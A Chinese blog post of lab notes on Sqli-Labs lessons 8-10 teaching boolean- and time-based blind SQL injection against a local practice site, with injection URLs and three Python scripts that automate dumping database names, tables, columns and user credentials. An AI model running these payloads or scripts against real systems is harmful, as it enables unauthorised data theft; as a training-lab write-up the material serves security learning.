SQL注入 Sqli Labs 8-10 实战笔记

你会有这样的感觉吗?你看着一个陌生人,可是你会觉得,心里很难过很难过,好像已经和那个人认识了很久很久,但是你想不起来他。你只能在心底有一点点的潜意识。

知识点补充

这一课的主要目标对象是练习盲注…终于到盲注了….

如果感觉没有头绪可以先阅读完前面写的关于盲注的基础知识盲注基础知识

盲注说难并不难,只是略有麻烦,前提是你要清楚那几个函数的作用,然后套嵌使用,关于盲注你要会如下几个函数

1. substr()
2. ascii()
3. mid()
4. ord()
5. exists()
6. if()
7. length()
8. left()
9. sleep()

并且和一些查询语句

1. 查询所有表,列,名
2. 盲注中一次只能查询一个,所以别忘了用limit限制

以上的知识点在前面的文章都详细介绍,这里不做复述,唯一要介绍的是if()函数,使用方法如下

if(a,b,c):a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
比如,if((select count(*) from mysql.user > 0),666,1)如果数据库mysql中的表user的数量大于0,就返回666,否则就返回1

Sqli Labs Lesson 8 实战笔记

判断是否存在注入

test inj

怎么样,是不是感觉怪怪的?
其实很简单,&&就是and的意思,如果某些WAF过滤了and就可以这么做,判断注入的时候我加上单引号,页面没有内容,这就说明传入的参数对程序造成了影响,可能存在注入,然后判断是数字还是字符串型,尝试?id=2-1,?id=3-1发现页面都是一样的,确定没有执行减号运算符,可能不是数字型注入.既然加上单引号页面无内容,只能说明可能存在注入,那么就用and来判断一下,使用?id=1 and 1=1 发现页面内容没有改变,不能肯定是数字型注入,尝试?id=1’ and 1=1页面没有内容,尝试?id=1 and ‘1’=’1 页面还是没有内容,最后尝试?id=1’ and ‘1’=’1,页面有内容,综上得知是单引号闭合的字符串型注入.

这一段可能有点绕,但是基本上可以通过上面手段判断是否存在注入与注入的类型,当然你也可以使用exists()辅助判断,比如

fuzhu1

http://127.0.0.1/sqli-labs/Less-8/?id=1' and exists(select count(*) from information_schema.tables)--+
http://127.0.0.1/sqli-labs/Less-8/?id=1 and exists(select count(*) from information_schema.tables)--+

返回的结果一致,说明的确可以注入,需要单引号闭合.这只是一个想法,你可以引申一下,比如我尝试?id=000发现没有返回内容,尝试?id=000’同样没有返回内容

尝试?id=000 or exists(select count(*) from information_schema.tables)--+页面内有内容
尝试?id=000' or exists(select count(*) from information_schema.tables)--+页面有内容

就说明存在字符串型注入,闭合方法位单引号闭合,这只是一个思路,不要仅仅局限于别人的想法,灵活运行自己的思路才能走的更远.

探测信息

由于这一课中不管输入什么,页面只会返回正确的页面与错误的页面,尝试强制报错失败,那就是用盲注继续,老规矩,一旦发现可以注入先探测字段,然后探测信息,因为不管输入什么都只会返回两种结果,自然不可能从客户端直接获取结果了,但是恰好可以省去探测字段数与探测可显示字段这两步骤.

来探测数据库信息,不同函数结合在一起有很多方法来实现

探测数据库长度

这里使用length()函数获取长度,然后使用大于小于等于判断结果

length

使用二分法可以判断出数据库长度为8,如果length()函数被过滤了,那就不要探测数据库长度了,直接探测数据库名,把所有的字母符号带一个遍.

探测数据库名

探测数据库名方法好几种,但是原理都是基于如下三种

1. left()函数逐一判断   //left(database(),1)>'a' ,这里字母记得加上单引号,同样可以用二分法判断,left()函数的用法与下面两个用法不一样,只能left(database(),1)='s',left(database(),2)='se'
2. substr()函数逐一判断  //stbstr(select database(),1,1)>'a',同上,但是要逐一substr()函数截取的范围,比如substr(database(),2,1)='e',即判断第二个字母是e,substr(database(),1,2)=='se'
3. mid()函数逐一判断  //mid(select database(),1,2)='se',使用方法同substr()函数

但是用字母做判断结果要加上单引号,略显不方便,于是便有了ascii(),ord()函数把上面三点的结果转换成ASCII字符,然后ascii字符判断大小,该方法避免了使用单引号的局面,一定程度上可以绕过WAF过滤单引号.

除了上面这些还有right(),substring(),substring_index()函数都可以截取。

探测方法一

使用left()函数来探测

left

当我测试字母a的时候,页面没有内容,测试字母s的时候页面正常,说明数据库首字母是s,这里同样可以使用二分法,字母之间也是可以比较先后大小的.

当然你可以用ascii()或者ord()函数把结果转成ascii码,然后判断,字母s对应的ascii码是115,两个函数的使用方法与效果都是一样的,通过转换成ascii码一样可以探测到数据库名字

ord

甚至你为了方便一点可以使用if()函数,如果返回为真就显示你设定的结果

不过该if()函数方法我仅仅在数据库中执行发现有效果,在浏览器注入的时候发现没用

探测方法二

使用substr()函数来探测

sub

效果如上,这里注意一下,substr()函数截取的是从第几位开始的几个字母,并且截取数据要用括号包围起来.

同上,你还可以用ascii()或者ord()函数包围起来,然后判断数值

探测方法三

使用mid()函数来探测

mid

同上,综合上面三种方法都能探测出数据库的名字位security.

探测表名

老套路,就像强制报错一样,把查询公式直接带入查询即可.
首先查询这个数据库有多少表

much

二分法判断表的数量,可以判断出有4张表

其次查询第一个表的长度,用limit 0,1 。如果查询第二张表就用limit 1,1

length

探测到第一个表名的长度是6,然后查询这个表的名

table

使用mid()方法同样可以探测出数据,如果过滤单引号就使用ascii()函数与ord()
函数转换成ascii码,然后用二分法对比大小即可,并且把数据库名直接转换成hex编码,0xqsdasaa格式,让包围数据库的单引号也消失.

按照上面的方法,依次查询当前数据库第一个第二个第三个等等表的长度,然后在查询表名,综上发现了一个users表

探测列名

同上,先查询users表下面有多少个字段

ziduan

同上,查询users表下面的所有列名长度与列名,方法差不多基本上像上面一样套入公式

lieming

逐一查询列名长度,然后逐一查询列名

lieih

最后等等username和password这两个列名,最终查询数据

探测数据

data

然后逐一拆解,记住我在concat()中穿插了一个冒号分割用户名与密码,所以猜解的时候记得除了字母还有冒号也要猜一下.

我这样只是为了图方便,当然也可以不用concat()函数,首先直接获取第一个username的长度,然后获取他的内容,在获取第二个username的长度,在获取他的内容,以此来推,然后获取password的长度内容.

工具注入

手动测试盲注工作量繁重,使用脚本帮助探测信息,网上有表哥公开了Lesson 8 盲注脚本,运行效果如下,注:在Py2环境下使用

ii

脚本代码如下:

import urllib2
import urllib

success_str = "You are in"
getTable = "users"

index = "0"
url = "http://127.0.0.1/sqli-labs/Less-8/?id=1"
database = "database()"
selectDB = "select database()"
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"

asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"

selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit "
selectTableNameLengthPayloadbehind = ",1)>=%d #"


# 发送请求,根据页面的返回的判断长度的猜测结果
# string:猜测的字符串 payload:使用的payload  length:猜测的长度
def getLengthResult(payload, string, length):
    finalUrl = url + urllib.quote(payload % (string, length))
    res = urllib2.urlopen(finalUrl)
    if success_str in res.read():
    return True
    else:
    return False

    # 发送请求,根据页面的返回的判断猜测的字符是否正确


# payload:使用的payload    string:猜测的字符串   pos:猜测字符串的位置    ascii:猜测的ascii
def getResult(payload, string, pos, ascii):
    finalUrl = url + urllib.quote(payload % (string, pos, ascii))
    res = urllib2.urlopen(finalUrl)
    if success_str in res.read():
    return True
    else:
    return False

    # 注入


def inject():
    # 猜数据库长度
    lengthOfDBName = getLengthOfString(lengthPayload, database)
    print "length of DBname: " + str(lengthOfDBName)
    # 获取数据库名称
    DBname = getName(asciiPayload, selectDB, lengthOfDBName)

    print "current database:" + DBname

    # 获取数据库中的表的个数
    # print selectTableCountPayload
    tableCount = getLengthOfString(selectTableCountPayload, DBname)
    print "count of talbe:" + str(tableCount)

    # 获取数据库中的表
    for i in xrange(0, tableCount):
    # 第几个表
    num = str(i)
    # 获取当前这个表的长度
    selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
    tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
    print "current table length:" + str(tableNameLength)
    # 获取当前这个表的名字
    selectTableName = selectTable % (DBname, i)
    tableName = getName(asciiPayload, selectTableName, tableNameLength)
    print tableName

    selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='" + DBname + "' and table_name='%s')>=%d #"
    # print selectColumnCountPayload
    # 获取指定表的列的数量
    columnCount = getLengthOfString(selectColumnCountPayload, getTable)
    print "table:" + getTable + " --count of column:" + str(columnCount)

    # 获取该表有多少行数据
    dataCountPayload = "'and (select count(*) from %s)>=%d #"
    dataCount = getLengthOfString(dataCountPayload, getTable)
    print "table:" + getTable + " --count of data: " + str(dataCount)

    data = []
    # 获取指定表中的列
    for i in xrange(0, columnCount):
    # 获取该列名字长度
    selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='" + DBname + "' and table_name='%s' limit " + str(
        i) + ",1)>=%d #"
    # print selectColumnNameLengthPayload
    columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
    print "current column length:" + str(columnNameLength)
    # 获取该列的名字
    selectColumn = "select column_name from information_schema.columns where table_schema='" + DBname + "' and table_name='%s' limit %d,1"
    selectColumnName = selectColumn % (getTable, i)
    # print selectColumnName
    columnName = getName(asciiPayload, selectColumnName, columnNameLength)
    print columnName

    tmpData = []
    tmpData.append(columnName)
    # 获取该表的数据
    for j in xrange(0, dataCount):
        columnDataLengthPayload = "'and (select length(" + columnName + ") from %s limit " + str(j) + ",1)>=%d #"
        # print columnDataLengthPayload
        columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
        # print columnDataLength
        selectData = "select " + columnName + " from users limit " + str(j) + ",1"
        columnData = getName(asciiPayload, selectData, columnDataLength)
        # print columnData
        tmpData.append(columnData)

    data.append(tmpData)

    # print data
    # 格式化输出数据
    # 输出列名
    tmp = ""
    for i in xrange(0, len(data)):
    tmp += data[i][0] + "   "
    print tmp
    # 输出具体数据
    for j in xrange(1, dataCount + 1):
    tmp = ""
    for i in xrange(0, len(data)):
        tmp += data[i][j] + "   "
    print tmp

    # 获取字符串的长度


def getLengthOfString(payload, string):
    # 猜长度
    lengthLeft = 0
    lengthRigth = 0
    guess = 10
    # 确定长度上限,每次增加5
    while 1:
    # 如果长度大于guess
    if getLengthResult(payload, string, guess) == True:
        # 猜测值增加5
        guess = guess + 5
    else:
        lengthRigth = guess
        break
        # print "lengthRigth: " + str(lengthRigth)
    # 二分法查长度
    mid = (lengthLeft + lengthRigth) / 2
    while lengthLeft < lengthRigth - 1:
    # 如果长度大于等于mid
    if getLengthResult(payload, string, mid) == True:
        # 更新长度的左边界为mid
        lengthLeft = mid
    else:
        # 否则就是长度小于mid
        # 更新长度的右边界为mid
        lengthRigth = mid
        # 更新中值
    mid = (lengthLeft + lengthRigth) / 2
    # print lengthLeft, lengthRigth
    # 因为lengthLeft当长度大于等于mid时更新为mid,而lengthRigth是当长度小于mid时更新为mid
    # 所以长度区间:大于等于 lengthLeft,小于lengthRigth
    # 而循环条件是 lengthLeft < lengthRigth - 1,退出循环,lengthLeft就是所求长度
    # 如循环到最后一步 lengthLeft = 8, lengthRigth = 9时,循环退出,区间为8<=length<9,length就肯定等于8
    return lengthLeft


# 获取名称
def getName(payload, string, lengthOfString):
    # 32是空格,是第一个可显示的字符,127是delete,最后一个字符
    tmp = ''
    for i in xrange(1, lengthOfString + 1):
    left = 32
    right = 127
    mid = (left + right) / 2
    while left < right - 1:
        # 如果该字符串的第i个字符的ascii码大于等于mid
        if getResult(payload, string, i, mid) == True:
        # 则更新左边界
        left = mid
        mid = (left + right) / 2
        else:
        # 否则该字符串的第i个字符的ascii码小于mid
        # 则更新右边界
        right = mid
        # 更新中值
        mid = (left + right) / 2
    tmp += chr(left)
    # print tmp
    return tmp


def main():
    inject()


main()

看得我也想写代码了,手动写了一个,我按我的思路简化写了一下,没有转换成ascii码。在写代码的时候,服役4年的破笔记本装的Linux系统,新装的台式机Windows,Py脚本探测信息的时候,笔记本比台式快了五倍以上,可能是Apache系统兼容问题吧。

因为Win运行脚本探测速度太慢了,写到一半就没写了…有兴趣的小伙伴可以继续写下去,思路和文章提起的一模一样,逻辑清晰,脚本暂时只能探测数数据库长度,数据库名,当前数据库下所有表名,探测表下列名写到一半没写了…

# -*- coding: utf-8 -*-
# @Time    : 18-6-26 下午2:53
# @Author  : Langzi
# @Blog    : www.langzi.fun
# @File    : Sql_inj_bool.py
# @Software: PyCharm
import requests
import time
true_html = 'are in'
url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' "
test_name = [chr(x) for x in range(91,127)]
test_name.append(':')

table_length_payload = "and (select length(table_name) from information_schema.tables where table_schema='{}' limit {},1)={} --+"
table_name_payload = "and substr((select table_name from information_schema.tables where table_schema='{}' limit {},1),{},1)='{}'--+"
column_length_payload = "and (select length(column_name) from information_schema.columns where table_name='{}' limit {},1)={}--+"
column_name_payload = "and substr((select column_name from information_schema.columns where column_name='{}' limit {},1),{},1)='{}'--+"
dump_length_payload = "and (select length({}) from {})={}--+"
dump_name_payload = "and substr((select {} from {} limit 0,1),{},1)={}--+"
how_much_table = "and (select count(table_name)from information_schema.tables where table_schema='{}')={}--+"
how_much_column = "and (select count(column_name)from information_schema.columns where table_name='{}')={}--+"


list_table=[]
list_column=[]

print('Test Database Length')
time.sleep(1)
def database_length(url):
    database_length_payload = "and length(database())={}--+"
    for i in range(100):
        urls = url + database_length_payload.format(str(i))
        r = requests.get(urls)
        if true_html in r.content.decode():
            database_length_=i
            print('Database Length:'+str(database_length_))
            return database_length_
        else:
            pass

def database_name(url,length):
    name = ''
    database_name_payload = "and left(database(),{})='{}'--+"
    for i in range(1,length+1):
        for x in test_name:
            urls = url + database_name_payload.format(str(i),str(name + x))
            #print(urls)
            r = requests.get(urls)
            if true_html in r.content.decode():
                print('Test Database Name:'+x)
                name = name+str(x)
            else:
                pass
        test_name.append(name)
    return (name)
length = database_length(url)
dataname = database_name(url,length).lower()
print('Database Name:'+dataname)


def much(url,hao_much,dataname):
    print('Test How Much Name')
    for i in range(100):
        urls = url + hao_much.format(dataname,str(i))
        print(urls)
        r = requests.get(urls)
        if true_html in r.content.decode():
            print('Current is '+str(i)+' Data')
            return i
shuliang = much(url,hao_much=how_much_table,dataname=dataname)
print(shuliang)

def table_name(url,how_long,how_name,length,dataname):
    print('Test Current Name')
    for i in range(0,length):
        name =''
        # test everyone table length
        for ii in range(30):
            # test first table length
            urls = url + how_long.format(dataname,str(i),str(ii))
            r = requests.get(urls)
            #print(urls)
            if true_html in r.content.decode():
                # first table length is ii
                print('Test '+ str(ii) + ' Table')
                #time.sleep(100)
                # test first table name
                # has 4 tables,first tables has 6 length
                #for y in range(1,ii+1):
                tt = ii
                break
        for j in range(0,tt):
            for z in test_name:
                urlx = url + how_name.format(dataname,i,j,z)
                #print(urlx)
                rr = requests.get(urlx)
                if true_html in rr.content.decode():
                    name = name + str(z)
                    break
        list_table.append(name)
    print (list_table)

table_name(url=url,how_long=table_length_payload,how_name=table_name_payload,length=shuliang,dataname=dataname)


def column_name(url,how_long,how_name,length,dataname):
    for i in range(0,length+1):
        name = ''
        for ii in range(50):
            urls = url + how_long.format(dataname,str(i),str(ii))
            r = requests.get(urls)
            if true_html in r.content.decode():
                print('Test Current '+str(ii) + ' Column')
                tt = ii
                break

        try:
            for j in range(0,tt):
                for z in test_name:
                    urlx = url + how_name.format(dataname,i,j,z)
                    #print(urlx)
                    rr = requests.get(urlx)
                    if true_html in rr.content.decode():
                        name = name+z
                        print(name)
                        break
            list_column.append(name)
        except Exception as e:
            print(e)
    print(list_column)

for x in list_table:
    length = much(url, how_much_column, str(x))
    column_name(url=url,how_long=column_length_payload,how_name=column_name_payload,length=length,dataname=x)

Sqli Labs Lesson 9-10 实战笔记

这一课是讲的基于时间的盲注,首先复习一下两个函数,if()与sleep()。

if()的用法在上面就提起过,sleep(10)这个即等待10秒。

判断是否存在注入

如果有小伙伴想出来怎么简单直观判断是否存在注入以及闭合的方法请教教我。

我的想法是模糊测试,比如加上单引号,然后做判断,后面的条件为真,并且等待10秒,然后测试前面的id参数是否存在注入并且同时测试闭合方式。该方法有点投机取巧的意思,比如我加上单引号,双引号,括号,括号包围单引号等等去测试。

11

当然我这个方法也成功了,加上单引号后的确等待了10秒才显示出网页。加上双引号没等待多久。该方法的确成功探测可以注入,但是我觉得不够简单明了,不过也想不到别的办法了。

探测信息

既然存在注入,并且是基于时间的盲注,那么按照之前的老套路走一波流程公式即可。

11

这里其实不难理解,把lesson 8 的套路放在if()函数里面,如果条件为真就返回1,为假就等待10秒,按照公式一步一步的探测就能获取数据库的长度。

11

使用left()函数判断数据库的名字,如果第一位是s就直接返回页面,不是s就等待10秒,当然你也可以用别的函数substr(),mid()来实现。

综上可以探测出数据库名为security

探测表名

原理同上,在lesson 8 中的公式直接套在if()函数里面,然后用二分法依次判断当前数据库下面有多少张表。

11

当我猜测有40张表的时候,等待了10多秒钟才回显内容。继续猜测探测到有4张表,然后依次探测表名,探测第一张表用limit 0,1,第二张表用limit 1,1 和lesson 8 一样。

11

使用substr()函数探测第一张表的第一个字母,要记住substr()是从1位开始截断,mid()函数也是,但是limit的第一位是0,这一点别混淆了。

依次探测出数据库下面的4张表,其中的users表就是我们要继续深入探测是表。

探测列名

11

然后依次判断出列的长度,在判断列的名字

11

探测出有username与password的列名。

探测数据

探测users表有多少个username与password。

11

继续带入公式获取数据

11

用limit 0,1查询第一个username的首字母是不是大于a,然后继续探测即可的出数据。

lesson 10 与9的区别就是单引号闭合变成了双引号闭合。

工具注入

网上有表哥给出了基于时间注入的脚本,但是只能检查出数据库名,大家可以自行补充

import requests
value ="abcdefghigklmnopqrstuvwxyz@_."
data=""
url = "http://localhost:9096/sqli-labs/Less-9/?id=1' and if((substr(({0}),{1},1)='{2}'),sleep(5),NULL); %23"
url_length="http://localhost:9096/sqli-labs/Less-9/?id=1' and if((length(({0}))={1}),sleep(5),NULL); %23"
def get_length(payload):
    for n in range(1,100):
        url= url_length.format(payload,n)
        print(url)
        if(get_respone(url)):
            print("[+] length is {0}".format(n))
            return n
def get_data(payload,value,length):
    for n in range(1,length):
        for v in value :
            url_data = url.format(payload,n,v)
            print(url_data)
            if(get_respone(url_data)):
                global data
                data=data+v
                print("[+] data is {0}".format(data))
                break
def get_respone(url):
    try:
        html = requests.get(url,timeout=4)
        return False
    except Exception as e:
        print("......")
        return True
databse_payload ="select database()"
get_data(databse_payload,value,get_length(databse_payload)+1)
坚持原创技术分享,您的支持将鼓励我继续创作!
------ 本文结束 ------

版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%